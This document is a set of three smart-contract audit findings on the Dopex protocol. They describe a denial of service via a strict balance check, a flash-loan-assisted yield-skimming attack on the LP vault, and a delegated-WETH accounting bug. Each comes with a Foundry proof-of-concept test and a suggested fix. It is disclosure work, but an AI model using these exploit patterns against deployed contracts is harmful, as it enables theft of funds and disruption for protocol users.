Dopex - max10afternoon's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L201

Vulnerability details

Impact

Due to an improper check inside of the subtractLoss function, sending weth directly to the PerpetualAtlanticVaultLP, will prevent the settle function of the PerpetualAtlanticVault contract from being executable. Since the settle function is used to exercise options, this fundamentally breaks the perpetuals vault, resulting in a denial of service of the option functionality of the protocol.

Proof of Concept

The settle function of the PerpetualAtlanticVault contract, used to exercise in the money options, will send weth (the collateral token of the PerpetualAtlanticVaultLP contract) to the option buyer. In doing so in calls the subtractLoss function of the PerpetualAtlanticVaultLP contract, which is responsible of decreasing the total collateral present in the LP vault:

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

The function checks if there is enough collateral to do so, but does so in an improper way, using the ==, comparison. Since sending tokens directly to the LP vault's address will result in the increase of the balance (left member of the equality) but won't modify the _totalCollateral variable (right side of the equality, which is exclusively increased using the addProceeds function, which can only be invoked by the perpetual vault), doing so will result in the subtractLoss function always reverting, preventing settle from being executable, denying the main functionality of the options.

Also since any amount of weth will break the equality (even 1) and due to Arbitrum's low gas fees cost, doing so will be very inexpensive and affordable by any malicious user.

Here is a foundry script that show the over mentioned behavior. Place it in the /tests/perp-vault/ directory to preserve dependencies.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";

import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { Setup } from "./Setup.t.sol";
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";


contract Unit is ERC721Holder, Setup {
  // ================================ HELPERS ================================ //

  function mintWeth(uint256 _amount, address _to) public {
    weth.mint(_to, _amount);
  }

  function mintRdpx(uint256 _amount, address _to) public {
    rdpx.mint(_to, _amount);
  }

  function deposit(uint256 _amount, address _from) public {
    vm.startPrank(_from, _from);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vaultLp.deposit(_amount, address(1));
    vm.stopPrank();
  }

  // ================================ CORE ================================ //

  function testSettleDos() public {
    weth.mint(address(1), 2 ether);

    //Provide funding and buy option
    deposit(1 ether, address(1));
    vault.purchase(1 ether, address(this));

    //settle set up
    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;
    priceOracle.updateRdpxPrice(0.010 gwei); // ITM

    //DoS
    vm.prank(address(1));
    weth.transfer(address(vaultLp), 1);

    //test
    vm.expectRevert("Not enough collateral was sent out");
    vault.settle(ids);

  }

}

Recommended Mitigation Steps

Instead of == the subtractLoss function could use >=.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L145

Vulnerability details

Impact

There is no time lock or fee applied on deposits and withdraws from the LP vault. Also revenue can be distributed to the LP vault by calling the permissionless function updateFunding(). Which means that, after some revenue is produced by selling options, anyone can deposit, updateFunding and than redeem right away to get access to revenues that they haven't produced and should belong to other users, effectively stealing it from them. Since the protocol is meant to be deployed on Arbitrum the gas cost necessary to do so are going to be very low, meaning that this action will often, if not always be profitable (even for small amounts of revenues). Also, since everything can be done within a single transaction, users can flashloan weth to gain more "weight" in the LP valut's shares.

Proof of Concept

The PerpetualAtlanticVaultLP contract, used to provide liquidity from the open market to the PerpetualAtlanticVault contract, uses a typical share/asset model to distribute it's value to the users. Asset can be deposited in the vault using the deposit function:

  function deposit(
    uint256 assets,
    address receiver
  ) public virtual returns (uint256 shares) {
    // Check for rounding error since we round down in previewDeposit.
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

    perpetualAtlanticVault.updateFunding();

    // Need to transfer before minting or ERC777s could reenter.
    collateral.transferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    _totalCollateral += assets;

    emit Deposit(msg.sender, receiver, assets, shares);
  }

And withdrawn from it using the redeem function:

  function redeem(
    uint256 shares,
    address receiver,
    address owner
  ) public returns (uint256 assets, uint256 rdpxAmount) {
    perpetualAtlanticVault.updateFunding();

    if (msg.sender != owner) {
      uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.

      if (allowed != type(uint256).max) {
        allowance[owner][msg.sender] = allowed - shares;
      }
    }
    (assets, rdpxAmount) = redeemPreview(shares);

    // Check for rounding error since we round down in previewRedeem.
    require(assets != 0, "ZERO_ASSETS");

    _rdpxCollateral -= rdpxAmount;

    beforeWithdraw(assets, shares);

    _burn(owner, shares);

    collateral.transfer(receiver, assets);

    IERC20WithBurn(rdpx).safeTransfer(receiver, rdpxAmount);

    emit Withdraw(msg.sender, receiver, owner, assets, shares);
  }

As can be seen, none of the two has any timelock functionality or fee applied to the deposit/withdraw.

The PerpetualAtlanticVault contract has a couple of functions that send revenue back to the LP vault, one of which is updateFunding. This function sends weth back to the vault and it updates the share/assets rate generating revenue to the share holders. The only limitation imposed by this function is that some time has to be passed since the last update in order to send value back to the vault:

    uint256 startTime = lastUpdateTime == 0
      ? (nextFundingPaymentTimestamp() - fundingDuration)
      : lastUpdateTime;
    lastUpdateTime = block.timestamp;

    collateralToken.safeTransfer(
      addresses.perpetualAtlanticVaultLP,
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );

    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds(
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );

This things together mean that anyone can join the vault, update the revenue, and withdraw within the same transaction, and this will generate revenue to them for as long as at least 1 second has passed since the last option purchase, without exposing them self to any risk, and taking it away from regular users.

Opening up to the following scenario:

1. Users of the protocol, start using the contract as intended, depositing value in the vault, and buying option via the core contract.
2. A malicious users notice that some time has passed between an option being purchased and the last funding update.
3. The malicious user, that either owns or flash loans some weth, can now deposit, call updateFunding and redeem (than return flasheloaned asset, if any). Generating free revenue that belonged to the regular users of the protocol.

Here is a foundry script that shows the scenario above. Place it in the tests/perp-vault/ folder to preserve dependencies.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";

import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { Setup } from "./Setup.t.sol";
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";


contract Unit is ERC721Holder, Setup {
  // ================================ HELPERS ================================ //

  function mintWeth(uint256 _amount, address _to) public {
    weth.mint(_to, _amount);
  }

  function mintRdpx(uint256 _amount, address _to) public {
    rdpx.mint(_to, _amount);
  }

  function deposit(uint256 _amount, address _from) public {
    vm.startPrank(_from, _from);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vaultLp.deposit(_amount, address(1));
    vm.stopPrank();
  }

  // ================================ CORE ================================ //

  function testFreeYield() public {

//set up
    mintWeth(1000 ether, address(2));
    vm.startPrank(address(2));
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vm.stopPrank();
    vault.setLpAllowance(true);


    //regular users generates revenue
    deposit(10 ether, address(this));
    vault.purchase(10 ether, address(this));
    
    //one hour passes afetr option purchase 
    //(you can test with 1second and it will still work, the revenue will be smaller)
    skip(3600);

    uint256 attackerBalanceBefore = weth.balanceOf(address(2));
    console.log(attackerBalanceBefore);

//exploit:
    vm.startPrank(address(2));

    //attacker deposit
    vaultLp.deposit(1000 ether, address(2));
   
    //updates revenue on LP vault
    vault.updateFunding();
  
    //withdraws getting some weth for free
    uint256 balance = vaultLp.balanceOf(address(2));
    vaultLp.redeem(
      balance,
      address(2),
      address(2)
    );

    vm.stopPrank();

//results
    uint256 attackerBalanceAfter = weth.balanceOf(address(2));
    console.log(attackerBalanceAfter);

    assert(attackerBalanceAfter > attackerBalanceBefore);
  }

}

Recommended Mitigation Steps

Some degree of limitation on withdraws should be applied, to prevent users from hopping in and out of the vault.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1002

Vulnerability details

Impact

The withdraw function doesn't update the totalWethDelegated variable, meaning that any weth removed from the contract using said function, will still be subtracted by the computed balance when calling sync. Therefor, under this circumstances, the weth balance variable that gets used in many areas of the contract, will be permanently incorrect. This will result in wrong accounting inside the protocol and it's function. Also it might cause reverts (due to arithmetic undeflows), in functions that apply a subtraction to said variable (especially provideFunding and lowerDepeg), even when tokens are available. This issue, due to it's simplicity, can happen accidentally or can be exploited by a malicious user to damaged the protocol.

Proof of Concept

The RdpxV2Core contract has a global variable totalWethDelegated that keeps track of how much weth has been delegated. This variable gets incremented whenever a user delegates weth via addToDelegate, and gets decreased, internally, whenever someone uses the delegated weth by calling bondWithDelegate.

Also the protocol inside all of it's function doesn't uses a typical token.balanceOf(address(address(this))), to keep track of the tokens available, but is uses as list of tokens data ReserveAsset[] public reserveAsset, making the weth balance available using the following declaration:

reserveAsset[reservesIndex["WETH"]].tokenBalance

The values of the over mentioned reserveAsset list, are updated using a sync function:

  function sync() external {
    for (uint256 i = 1; i < reserveAsset.length; i++) {
      uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
        address(this)
      );

      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;
      }
      reserveAsset[i].tokenBalance = balance;
    }

    emit LogSync();
  }

As can be seen the weth balance is decreased by all the delegated weth that haven't been used yet (represented by the totalWethDelegated variable).

A user that have previously delegated some weth to the protocol can withdraw the yet unused amount whenever they want by calling withdraw;

This function doesn't update the totalWethDelegated, which means that the sync function will still decrease the weth computed balance by the amount that has been removed, even tough it isn't any longer found in weth.balanceOf(RdpxV2Core). Which means that under this conditions the balance computed by sync will permanently become lower than the real amount of tokens owned by the contract.

This mean that the accounting of weth in the contract will become permanently incorrect. Also some functions that are decreasing the reserveAsset[reservesIndex["WETH"]].tokenBalance, without previously increasing, it might revert due to an arithmetic underflow, even when tokens are available (some of them are lowerDepeg, provideFunding and sync, it self, which are obviously covering core functionalities of the protocol).

Scenario: Assuming that in the contract there is 10 weth deposited by previous regular users

User1 delegates 1 weth to the RdpxV2Core contract, the totalWethDelegated variable get increased by 1, and weth transferred to the contract

User1 withdraws the full amount, 1 weth gets transferred from the contract to User1, but totalWethDelegated doesn't get updated

User1 calls sync, since the totalWethDelegated has not been updated reserveAsset[reservesIndex["WETH"]].tokenBalance will be equal to 9, instead of the supposed 10.

Here is a foundry script that shows the over mentioned behavior. Place it in the /tests/rdpxV2-core/ folder to preserve dependencies.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import "forge-std/console.sol";

import { Test } from "forge-std/Test.sol";

import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { Setup } from "./Setup.t.sol";

// Core contracts
import { RdpxV2Core } from "contracts/core/RdpxV2Core.sol";
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";

// Interfaces
import { IStableSwap } from "contracts/interfaces/IStableSwap.sol";

contract Unit is ERC721Holder, Setup {

  function testSyncDos() public {

    //Add some liquidity to better show the effect
    rdpxV2Core.bond(10 * 1e18, 0, address(this));

    ///////////////////////////////////////////////////////////////////////////////////
    // address(3) delegates weth and then withdraws                                 ///
    // this should have no effects on the final balances, unless you sync           ///
    // you can try to comment out the line with the sync function call to view it   ///
    ///////////////////////////////////////////////////////////////////////////////////  
    weth.transfer(address(3), 10 * 1e17);

    vm.startPrank(address(3));
    weth.approve(address(rdpxV2Core), 10 * 1e18);

    uint256 delgateId = rdpxV2Core.addToDelegate(10 * 1e17 , 3 * 1e8);

    rdpxV2Core.withdraw(delgateId);

    rdpxV2Core.sync();
    
    vm.stopPrank();
    ///////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////

    (, uint256 wethComputedBalance, ) = rdpxV2Core.getReserveTokenInfo("WETH");
    uint256 wethActualBalance = weth.balanceOf(address(rdpxV2Core));
  
    //If you comment out the sync function you can observe that this two values should be equal
    console.logUint(wethComputedBalance);
    console.logUint(wethActualBalance);

    //Otherway they differ of the mount delegated
    uint256 amountDelegated = rdpxV2Core.totalWethDelegated(); //this returns the global variable that causes the issue
    assertEq(wethActualBalance, wethComputedBalance + amountDelegated);

  }

Recommended Mitigation Steps

The protocol as an emergencyWithdraw function, which means that tokens won't be locked forever in it, but this doesn't change the fact that the used balance variable will stay permanently incorrect. The withdraw function should update the totalWethDelegated variable by the amount that is being removed.

Assessed type

Other